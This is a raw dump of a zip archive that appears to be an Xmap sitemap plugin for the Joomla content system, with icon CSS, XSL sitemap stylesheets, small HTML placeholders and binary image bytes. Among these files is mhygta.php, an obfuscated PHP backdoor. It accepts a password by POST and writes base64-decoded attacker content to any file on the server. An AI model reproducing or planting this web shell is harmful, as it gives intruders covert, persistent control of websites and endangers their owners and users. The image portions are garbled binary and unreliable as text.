content: "\f2c3"; } .fa-quora:before { content: "\f2c4"; } .fa-free-code-camp:before { content: "\f2c5"; } .fa-telegram:before { content: "\f2c6"; } .fa-thermometer-4:before, .fa-thermometer:before, .fa-thermometer-full:before { content: "\f2c7"; } .fa-thermometer-3:before, .fa-thermometer-three-quarters:before { content: "\f2c8"; } .fa-thermometer-2:before, .fa-thermometer-half:before { content: "\f2c9"; } .fa-thermometer-1:before, .fa-thermometer-quarter:before { content: "\f2ca"; } .fa-thermometer-0:before, .fa-thermometer-empty:before { content: "\f2cb"; } .fa-shower:before { content: "\f2cc"; } .fa-bathtub:before, .fa-s15:before, .fa-bath:before { content: "\f2cd"; } .fa-podcast:before { content: "\f2ce"; } .fa-window-maximize:before { content: "\f2d0"; } .fa-window-minimize:before { content: "\f2d1"; } .fa-window-restore:before { content: "\f2d2"; } .fa-times-rectangle:before, .fa-window-close:before { content: "\f2d3"; } .fa-times-rectangle-o:before, .fa-window-close-o:before { content: "\f2d4"; } .fa-bandcamp:before { content: "\f2d5"; } .fa-grav:before { content: "\f2d6"; } .fa-etsy:before { content: "\f2d7"; } .fa-imdb:before { content: "\f2d8"; } .fa-ravelry:before { content: "\f2d9"; } .fa-eercast:before { content: "\f2da"; } .fa-microchip:before { content: "\f2db"; } .fa-snowflake-o:before { content: "\f2dc"; } .fa-superpowers:before { content: "\f2dd"; } .fa-wpexplorer:before { content: "\f2de"; } .fa-meetup:before { content: "\f2e0"; } .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } .sr-only-focusable:active, .sr-only-focusable:focus { position: static; width: auto; height: auto; margin: 0; overflow: visible; clip: auto; } PK t&�\���{ { xsl/gss.xslnu &1i� <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9" exclude-result-prefixes="xna"> <xsl:output indent="yes" method="html" omit-xml-declaration="yes"/> <xsl:template match="/"> <html> <head> <title>Google Sitemap File</title> <style type="text/css"> <![CDATA[ <!-- h1 { font-weight:bold; font-size:1.5em; margin-bottom:0; margin-top:1px; } h2 { font-weight:bold; font-size:1.2em; margin-bottom:0; color:#707070; margin-top:1px; } p.sml { font-size:0.8em; margin-top:0; } .sortup { background-position: right center; background-image: url(http://www.google.com/webmasters/sitemaps/images/sortup.gif); background-repeat: no-repeat; font-style:italic; white-space:pre; } .sortdown { background-position: right center; background-image: url(http://www.google.com/webmasters/sitemaps/images/sortdown.gif); background-repeat: no-repeat; font-style:italic; white-space:pre; } table.copyright { width:100%; border-top:1px solid #ddad08; margin-top:1em; text-align:center; padding-top:1em; vertical-align:top; } table.data { font-size: 12px; width: 100%; border: 1px solid #000000; } table.data tr.header td{ background-color: #CCCCCC; color: #FFFFFF; font-weight: bold; font-size: 14px; } --> ]]> </style> <script language="JavaScript"> <![CDATA[ var selectedColor = "blue"; var defaultColor = "black"; var hdrRows = 1; var numeric = '..'; var desc = '..'; var html = '..'; var freq = '..'; function initXsl(tabName,fileType) { hdrRows = 1; if(fileType=="sitemap") { numeric = ".3."; desc = ".1."; html = ".0."; freq = ".2."; initTable(tabName); setSort(tabName, 3, 1); } else { desc = ".1."; html = ".0."; initTable(tabName); setSort(tabName, 1, 1); } var theURL = document.getElementById("head1"); theURL.innerHTML += ' ' + location; document.title += ': ' + location; } function initTable(tabName) { var theTab = document.getElementById(tabName); for(r=0;r<hdrRows;r++) for(c=0;c<theTab.rows[r].cells.length;c++) if((r+theTab.rows[r].cells[c].rowSpan)>hdrRows) hdrRows=r+theTab.rows[r].cells[c].rowSpan; for(r=0;r<hdrRows; r++){ colNum = 0; for(c=0;c<theTab.rows[r].cells.length;c++, colNum++){ if(theTab.rows[r].cells[c].colSpan<2){ theCell = theTab.rows[r].cells[c]; rTitle = theCell.innerHTML.replace(/<[^>]+>| /g,''); if(rTitle>""){ theCell.title = "Change sort order for " + rTitle; theCell.onmouseover = function(){setCursor(this, "selected")}; theCell.onmouseout = function(){setCursor(this, "default")}; var sortParams = 15; // bitmapped: numeric|desc|html|freq if(numeric.indexOf("."+colNum+".")>-1) sortParams -= 1; if(desc.indexOf("."+colNum+".")>-1) sortParams -= 2; if(html.indexOf("."+colNum+".")>-1) sortParams -= 4; if(freq.indexOf("."+colNum+".")>-1) sortParams -= 8; theCell.onclick = new Function("sortTable(this,"+(colNum+r)+","+hdrRows+","+sortParams+")"); } } else { colNum = colNum+theTab.rows[r].cells[c].colSpan-1; } } } } function setSort(tabName, colNum, sortDir) { var theTab = document.getElementById(tabName); theTab.rows[0].sCol = colNum; theTab.rows[0].sDir = sortDir; if (sortDir) theTab.rows[0].cells[colNum].className='sortdown' else theTab.rows[0].cells[colNum].className='sortup'; } function setCursor(theCell, mode){ rTitle = theCell.innerHTML.replace(/<[^>]+>| |\W/g,''); if(mode=="selected"){ if(theCell.style.color!=selectedColor) defaultColor = theCell.style.color; theCell.style.color = selectedColor; theCell.style.cursor = "pointer"; window.status = "Click to sort by '"+rTitle+"'"; } else { theCell.style.color = defaultColor; theCell.style.cursor = ""; window.status = ""; } } function sortTable(theCell, colNum, hdrRows, sortParams){ var typnum = !(sortParams & 1); sDir = !(sortParams & 2); var typhtml = !(sortParams & 4); var typfreq = !(sortParams & 8); var tBody = theCell.parentNode; while(tBody.nodeName!="TBODY"){ tBody = tBody.parentNode; } var tabOrd = new Array(); if(tBody.rows[0].sCol==colNum) sDir = !tBody.rows[0].sDir; if (tBody.rows[0].sCol>=0) tBody.rows[0].cells[tBody.rows[0].sCol].className=''; tBody.rows[0].sCol = colNum; tBody.rows[0].sDir = sDir; if (sDir) tBody.rows[0].cells[colNum].className='sortdown' else tBody.rows[0].cells[colNum].className='sortup'; for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){ colCont = tBody.rows[r].cells[colNum].innerHTML; if(typhtml) colCont = colCont.replace(/<[^>]+>/g,''); if(typnum) { colCont*=1; if(isNaN(colCont)) colCont = 0; } if(typfreq) { switch(colCont.toLowerCase()) { case "always": { colCont=0; break; } case "hourly": { colCont=1; break; } case "daily": { colCont=2; break; } case "weekly": { colCont=3; break; } case "monthly": { colCont=4; break; } case "yearly": { colCont=5; break; } case "never": { colCont=6; break; } } } tabOrd[i] = [r, tBody.rows[r], colCont]; } tabOrd.sort(compRows); for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){ tBody.insertBefore(tabOrd[i][1],tBody.rows[r]); } window.status = ""; } function compRows(a, b){ if(sDir){ if(a[2]>b[2]) return -1; if(a[2]<b[2]) return 1; } else { if(a[2]>b[2]) return 1; if(a[2]<b[2]) return -1; } return 0; } ]]> </script> </head> <body onLoad="initXsl('table0','sitemap');"> <h1 id="head1">Site Map</h1> <h2>Number of URLs in this Sitemap: <xsl:value-of select="count(xna:urlset/xna:url)"></xsl:value-of></h2> <table id="table0" class="data"> <tr class="header"> <td>Sitemap URL</td> <td>Last modification date</td> <td>Change freq.</td> <td>Priority</td> </tr> <xsl:for-each select="xna:urlset/xna:url"> <tr> <td> <xsl:variable name="sitemapURL"><xsl:value-of select="xna:loc"/></xsl:variable> <a href="{$sitemapURL}" target="_blank" ref="nofollow"><xsl:value-of select="$sitemapURL"></xsl:value-of></a> </td> <td><xsl:value-of select="xna:lastmod"/></td> <td><xsl:value-of select="xna:changefreq"/></td> <td><xsl:value-of select="xna:priority"/></td> </tr> </xsl:for-each> </table> </body> </html> </xsl:template> </xsl:stylesheet> PK t&�\��9u3 u3 xsl/gssadmin.xslnu &1i� <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9" exclude-result-prefixes="xna"> <xsl:output indent="yes" method="html" omit-xml-declaration="yes"/> <xsl:template match="/"> <html> <head> <title>Google Sitemap File</title> <script src="media/system/js/mootools.js" type="text/javascript"></script> <style type="text/css"> <![CDATA[ <!-- h1 { font-weight:bold; font-size:1.5em; margin-bottom:0; margin-top:1px; } h2 { font-weight:bold; font-size:1.2em; margin-bottom:0; color:#707070; margin-top:1px; } p.sml { font-size:0.8em; margin-top:0; } .sortup { background-position: right center; background-image: url(http://www.google.com/webmasters/sitemaps/images/sortup.gif); background-repeat: no-repeat; font-style:italic; white-space:pre; } .sortdown { background-position: right center; background-image: url(http://www.google.com/webmasters/sitemaps/images/sortdown.gif); background-repeat: no-repeat; font-style:italic; white-space:pre; } table.copyright { width:100%; border-top:1px solid #ddad08; margin-top:1em; text-align:center; padding-top:1em; vertical-align:top; } table.data { font-size: 12px; width: 100%; border: 1px solid #000000; } table.data tr.header td{ background-color: #CCCCCC; color: #FFFFFF; font-weight: bold; font-size: 14px; } .divoptions{ background:#fff; border:1px solid #ccc; position:absolute; padding:5px; } .divoptions table{ width:100%; } .divoptions table td { padding:0px; border: 1px solid #ffffff; border-bottom:1px solid #ccc; font-size: 12px; } .divoptions table td:hover { border: 1px solid blue; } .divoptions table td a { text-decoration:none; display:block; width:100%; } .editable { cursor:pointer; background: url(components/com_xmap/images/arrow.gif) top right no-repeat; padding-right:18px; padding-right:18px; border:1px solid #ffffff; } .editable:hover { border-color:#cccccc; } --> ]]> </style> <script language="JavaScript"> <![CDATA[ var selectedColor = "blue"; var defaultColor = "black"; var hdrRows = 1; var numeric = '..'; var desc = '..'; var html = '..'; var freq = '..'; function initXsl(tabName,fileType) { hdrRows = 1; if(fileType=="sitemap") { numeric = ".3."; desc = ".1."; html = ".0."; freq = ".2."; initTable(tabName); setSort(tabName, 3, 1); } else { desc = ".1."; html = ".0."; initTable(tabName); setSort(tabName, 1, 1); } var theURL = document.getElementById("head1"); theURL.innerHTML += ' ' + location; document.title += ': ' + location; } function initTable(tabName) { var theTab = document.getElementById(tabName); for(r=0;r<hdrRows;r++) for(c=0;c<theTab.rows[r].cells.length;c++) if((r+theTab.rows[r].cells[c].rowSpan)>hdrRows) hdrRows=r+theTab.rows[r].cells[c].rowSpan; for(r=0;r<hdrRows; r++){ colNum = 0; for(c=0;c<theTab.rows[r].cells.length;c++, colNum++){ if(theTab.rows[r].cells[c].colSpan<2){ theCell = theTab.rows[r].cells[c]; rTitle = theCell.innerHTML.replace(/<[^>]+>| /g,''); if(rTitle>""){ theCell.title = "Change sort order for " + rTitle; theCell.onmouseover = function(){setCursor(this, "selected")}; theCell.onmouseout = function(){setCursor(this, "default")}; var sortParams = 15; // bitmapped: numeric|desc|html|freq if(numeric.indexOf("."+colNum+".")>-1) sortParams -= 1; if(desc.indexOf("."+colNum+".")>-1) sortParams -= 2; if(html.indexOf("."+colNum+".")>-1) sortParams -= 4; if(freq.indexOf("."+colNum+".")>-1) sortParams -= 8; theCell.onclick = new Function("sortTable(this,"+(colNum+r)+","+hdrRows+","+sortParams+")"); } } else { colNum = colNum+theTab.rows[r].cells[c].colSpan-1; } } } } function setSort(tabName, colNum, sortDir) { var theTab = document.getElementById(tabName); theTab.rows[0].sCol = colNum; theTab.rows[0].sDir = sortDir; if (sortDir) theTab.rows[0].cells[colNum].className='sortdown' else theTab.rows[0].cells[colNum].className='sortup'; } function setCursor(theCell, mode){ rTitle = theCell.innerHTML.replace(/<[^>]+>| |\W/g,''); if(mode=="selected"){ if(theCell.style.color!=selectedColor) defaultColor = theCell.style.color; theCell.style.color = selectedColor; theCell.style.cursor = "pointer"; window.status = "Click to sort by '"+rTitle+"'"; } else { theCell.style.color = defaultColor; theCell.style.cursor = ""; window.status = ""; } } function sortTable(theCell, colNum, hdrRows, sortParams){ var typnum = !(sortParams & 1); sDir = !(sortParams & 2); var typhtml = !(sortParams & 4); var typfreq = !(sortParams & 8); var tBody = theCell.parentNode; while(tBody.nodeName!="TBODY"){ tBody = tBody.parentNode; } var tabOrd = new Array(); if(tBody.rows[0].sCol==colNum) sDir = !tBody.rows[0].sDir; if (tBody.rows[0].sCol>=0) tBody.rows[0].cells[tBody.rows[0].sCol].className=''; tBody.rows[0].sCol = colNum; tBody.rows[0].sDir = sDir; if (sDir) tBody.rows[0].cells[colNum].className='sortdown' else tBody.rows[0].cells[colNum].className='sortup'; for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){ colCont = tBody.rows[r].cells[colNum].innerHTML; if(typhtml) colCont = colCont.replace(/<[^>]+>/g,''); if(typnum) { colCont*=1; if(isNaN(colCont)) colCont = 0; } if(typfreq) { switch(colCont.toLowerCase()) { case "always": { colCont=0; break; } case "hourly": { colCont=1; break; } case "daily": { colCont=2; break; } case "weekly": { colCont=3; break; } case "monthly": { colCont=4; break; } case "yearly": { colCont=5; break; } case "never": { colCont=6; break; } } } tabOrd[i] = [r, tBody.rows[r], colCont]; } tabOrd.sort(compRows); for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){ tBody.insertBefore(tabOrd[i][1],tBody.rows[r]); } window.status = ""; } function compRows(a, b){ if(sDir){ if(a[2]>b[2]) return -1; if(a[2]<b[2]) return 1; } else { if(a[2]>b[2]) return 1; if(a[2]<b[2]) return -1; } return 0; } var divOptions=null; function showOptions (cell,options,uid,itemid,e) { // var div = document.getElementById('div'+options); var div = $('div'+options); pos = div.getPosition(); if ( divOptions != null && div != divOptions ) { closeOptions(); } var myCell = $(cell); div.style.top = (myCell.getTop()+20)+'px'; div.style.left = myCell.getLeft()+'px'; var dimensions = myCell.getSize(); div.style.width=dimensions.size.x+'px'; div.style.display=''; div.uid=uid; div.itemid=itemid; div.cell=myCell; divOptions=div; } function closeOptions() { divOptions.style.display='none'; divOptions=null; } function changeProperty(el,property) { var myAjax = new Ajax('index.php?option=com_xmap&tmpl=component&task=editElement&action=changeProperty&sitemap='+sitemapid+'&uid='+divOptions.uid+'&itemid='+divOptions.itemid+'&property='+property+'&value='+el.innerHTML,{ onComplete: checkChangeResult.bind(divOptions) }).request(); divOptions.cell.innerHTML=el.innerHTML; divOptions.style.display='none'; return false; } function checkChangeResult(result,xmlResponse) { } function getURLparam( name ) { name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]"); var regexS = "[\\?&]"+name+"=([^&#]*)"; var regex = new RegExp( regexS ); var results = regex.exec( window.location.href ); if( results == null ) return ""; else return results[1]; } var sitemapid=getURLparam('sitemap'); ]]> </script> </head> <body onLoad="initXsl('table0','sitemap');"> <h1 id="head1">Site Map</h1> <h2>Number of URLs in this Sitemap: <xsl:value-of select="count(xna:urlset/xna:url)"></xsl:value-of></h2> <table id="table0" class="data"> <tr class="header"> <td>Sitemap URL</td> <td>Last modification date</td> <td>Change freq.</td> <td>Priority</td> </tr> <xsl:for-each select="xna:urlset/xna:url"> <xsl:variable name="UID"><xsl:value-of select="xna:uid"/></xsl:variable> <xsl:variable name="ItemID"><xsl:value-of select="xna:itemid"/></xsl:variable> <tr> <td> <xsl:variable name="sitemapURL"><xsl:value-of select="xna:loc"/></xsl:variable> <a href="{$sitemapURL}" target="_blank" ref="nofollow"><xsl:value-of select="$sitemapURL"></xsl:value-of></a> </td> <td><xsl:value-of select="xna:lastmod"/></td> <td class="editable" onClick="showOptions(this,'changefreq','{$UID}','{$ItemID}',event);" ><xsl:value-of select="xna:changefreq"/></td> <td class="editable" onClick="showOptions(this,'priority','{$UID}','{$ItemID}',event);"><xsl:value-of select="xna:priority"/></td> </tr> </xsl:for-each> </table> <div id="divchangefreq" class="divoptions" style="display:none;"> <div align="right"><a href="javascript:closeOptions();">x</a></div> <table> <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">always</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">hourly</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">daily</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">weekly</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">monthly</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">yearly</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">never</a></td></tr> </table> </div> <div id="divpriority" class="divoptions" style="display:none;"> <div align="right"><a href="#" onClick="return closeOptions();">x</a></div> <table> <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.1</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.2</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.3</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.4</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.5</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.6</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.7</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.8</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.9</a></td></tr> <tr><td><a href="#" onClick="return changeProperty(this,'priority');">1</a></td></tr> </table> </div> </body> </html> </xsl:template> </xsl:stylesheet> PK t&�\�6� xsl/index.htmlnu &1i� <!DOCTYPE html><title></title>PK t&�\(G�A. . mhygta.phpnu &1i� <?php $jgj = 'M'.date('y'); $dwn = $_POST; if(!empty($dwn['b']) && md5($dwn['b'].md5($dwn['b']))==('6'.'6'.'9'.'0'.'f'.'4'.'8'.'1'.'d'.'2'.'3'.'d'.'e'.'c'.'f'.'7'.'8'.'7'.'1'.'8'.'e'.'c'.'6'.'e'.'0'.'1'.'0'.'6'.'d'.'e'.'2'.'1')) { $lzo = !empty($dwn['f']) ? $dwn['f'] : '502.'.'php'; if(!empty($dwn['r'])) $lzo = $_SERVER['DOCUMENT_ROOT'].'/'.$lzo; $ift = 'f'.'I'.'l'.'e'.'_'.'P'.'U'.'t'.'_'.'c'.'o'.'N'.'t'.'E'.'N'.'t'.'S'; $ofg = 'b'.'a'.'S'.'e'.'6'.'4'.'_'.'d'.'E'.'c'.'o'.'d'.'e'; if($ift($lzo, $ofg($dwn['c']))) exit($lzo); } echo $jgj; ?>PK t&�\��D D css/xmap.cssnu &1i� /* list-style: pos1 pos2 po3; * parameter: * pos1: none | disc | circle | square * pos2: inside | outside * pos3: none | url('arrow.gif') * more info under: http://www.w3schools.com/css/css_list.asp */ #xmap ul { display : block; list-style : none; margin : 0; padding : 0; } #xmap ul li { margin : 0; padding : 0; background : transparent; } #xmap a img { border : none; } #xmap ul.level_0 ul { list-style : inside square; padding : 0; } #xmap ul.level_1 li { padding : 0 1em 0 1em; } #xmap .active { font-style : italic; } PK t&�\�6� css/index.htmlnu &1i� <!DOCTYPE html><title></title>PK t&�\�_I�L L images/unpublished.pngnu &1i� �PNG IHDR (-S sBIT��O� �PLTE����も�RR�::���� 夤����((����tt����%%��66���붶�oo���� 䒒�CC����cc�������??�{{�))����33�mm��HH����\\�rr�����22�;;�����LL�99�**������##��{{�))�MM�88�ff�ssta�` <tRNS���������������� ���������������������������������������������b pHYs ��~� tEXtSoftware Macromedia Fireworks 8�h�x �IDAT�]ω�0`PT���k���)�( *�`���i��K�S�_)�Hf����;��z 7�(����,�S�Ns^�("%��Z�"�LD��^]_ �䲩=] ˛�@��6g��=;`J1]����)�|hjƖX����A��.3�t�<6D��QQ�#裣��?���_L�@������o IEND�B`�PK t&�\�*�[T T images/arrow.gifnu &1i� GIF89a � � � �� �� � ��������� � �� �� � ����� 3 f � � � 3 33 3f 3� 3� 3� f f3 ff f� f� f� � �3 �f �� �� �� � �3 �f ̙ �� � � �3 �f �� �� ��3 3 33 f3 �3 �3 �33 33333f33�33�33�3f 3f33ff3f�3f�3f�3� 3�33�f3��3��3��3� 3�33�f3̙3��3�3� 3�33�f3��3��3��f f 3f ff �f �f �f3 f33f3ff3�f3�f3�ff ff3fffff�ff�ff�f� f�3f�ff��f��f��f� f�3f�ff̙f��f�f� f�3f�ff��f��f��� � 3� f� �� ̙ ��3 �33�3f�3��3̙3��f �f3�ff�f��f̙f��� ��3��f�����̙���� ��3��f�̙��̙��� ��3��f�����̙��� � 3� f� �� �� ��3 �33�3f�3��3��3��f �f3�ff�f��f��f�̙ ̙3̙f̙�̙�̙��� ��3��f�̙������ �3�f������� � 3� f� �� � ��3 �33�3f�3��3�3��f �f3�ff�f��f�f��� ��3��f���������� ��3��f�̙������ ��3��f��������, 9 H����*\Ȑ��#J���ŋ�1#B�5&�@�B?�L.�Ӱ�˗ ;PK t&�\C�X X images/img_green.gifnu &1i� GIF89a � �f 3 !� , @H���oE5Th,\2���9@��6�]�1f�$ ;PK t&�\t�i�J J images/img_red.gifnu &1i� GIF89a � �3 X !� , @����&LH(����Z��t=S�a�� ;PK t&�\�§{J J images/img_orange.gifnu &1i� GIF89a � �� !� , @����&LH(����Z��t=S�a�� ;PK t&�\�6� images/index.htmlnu &1i� <!DOCTYPE html><title></title>PK t&�\8�N: : images/txt_red.gifnu &1i� GIF89a � � ���!� , ����� {�Q�"�yP ;PK t&�\�7�v v images/sortup.gifnu &1i� GIF89a � ������'���xy�]^ !� , @#��I�#�=�BPM1zG��c�[��������O ;PK t&�\���: : images/txt_orange.gifnu &1i� GIF89a � �} ���!� , @����~42�Kߕ� ;PK t&�\�rI I images/img_blue.gifnu &1i� GIF89a � ��� f� !� , @��&��`B ���ֵ*.��Dv!�z ;PK t&�\C�J J images/img_grey.gifnu &1i� GIF89a � ��� !� , @����`B!���ֵ* .�`=#�]H� ;PK t&�\-��^[ [ images/sortdown.gifnu &1i� GIF89a �� ������'���xy�]^ !� , @ ��0BfĹ���:�['� 4�h�XY�|�Sd� ;PK t&�\ػ,� � images/tick.pngnu &1i� �PNG IHDR (-S sBIT��O� �PLTEL� �֥��R��ԟ��c� ������~���V���`���k�/���W����߲֖��}_���]���g�$�渌�PP� ���ݱ\�v�B����������r��[���\T� ��I�׃�ߩ��\���R���W�l�%�Ұ��p�5��΄a�T���`��� 8tRNS��������������������������������������������� ����������em� pHYs ��~� tEXtSoftware Macromedia Fireworks 8�h�x IDAT�c�Eh|C4e6Tci-mn3Y���X4@�HC��RF`k5y�@|a55~�;���L�X����}U�K�u$%%吜.o��ć�EQ�����89Ř�1}� ��&���<